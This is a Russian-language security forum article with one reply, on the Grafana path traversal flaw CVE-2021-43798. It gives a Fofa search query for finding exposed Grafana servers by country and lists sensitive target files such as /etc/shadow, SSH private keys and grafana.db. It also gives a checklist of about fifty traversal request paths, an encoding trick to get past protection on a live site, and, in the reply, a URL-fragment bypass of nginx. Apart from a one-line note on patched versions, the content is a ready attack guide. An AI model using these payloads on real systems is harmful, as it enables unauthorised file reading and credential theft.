• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Уязвимость CVE-2021-43798

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 999
BIT
1
grafana.png


Добрый день , Уважаемые Форумчане и Друзья. На днях была обнаружена уязвимость в платформе Grafana. При эксплуатации она позволяет получить доступ к произвольным файлам сервера. Причиной стала некорректная работа обработчика пути /public/plugins/. Эксплуатация возможна за счёт наличия предустановленных плагинов.

Уязвимыми оказались версии Grafana 5.0.0,8.0.0-beta3,8.0.0-beta1, 8.0.7 , 8.1.8, 8.2.7, 8.3.1
Причём, первые две версии подвержены уязвимостям CVE-2021-43813 и CVE-2021-43815.

Конечно такой уязвимости был присвоен высокий класс опасности.

grafana5.PNG


Попробуем посмотреть насколько просто проэксплуатировать данную уязвимость. Но для начала в поисковике найдём ресурсы с Grafana. Если для поиска воспользоваться ресурсом Fofa, то достаточно ввести запрос, указав код страны.

app="Grafana" && country="US" && body="v8."

Grafana работает с большим количеством плагинов, поэтому для тестирования интересуют такие пути:
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/shadow
И конечно /etc/passwd

И исходя из этого, чек-лист с запросами такой:
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

Можно было воспользоваться скриптами для проверки на уязвимость, но решил обойтись без них. На тестируемом ресурсе присутствует защита, поэтому не обошлось без применения Repeater в Burpsuite. В этом случае были получены результаты.

grafana1.png


grafana2.png


grafana3.png


Но и при запросе через URL если применить метод обхода защиты и путь прописывать как ..%2F вместо /../,
то можно добиться аналогичного результата до блокировки IP атакующего.

grafana4.png


Защита
Разработчиками оперативно были выпущены свежие версии Grafana 7.5.12 и 8.3.2, в которых данные уязвимости исключены.

Благодарю за внимание, всем мира и добра.
 
Последнее редактирование модератором:

cutoffurmind

One Level
03.04.2020
1
1
BIT
0
стоит отметить, что если grafana стоит за сервером nginx, то мы увидим только лишь Bad Request так как nginx считает все ../ и не дает выйти за пределы корневой директории на сервере (в пути). Но это можно обойти используя url fragment (#), сервер grafana воспринимает # как директорию и nginx не будет считать ../ там, ньюанс тут только в том, что большинство http клиентов (в том числе curl, wget, python http libs) отбрасывают все, что после #, используйте burp или чистый http через telnet/openssl, проверено
 
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!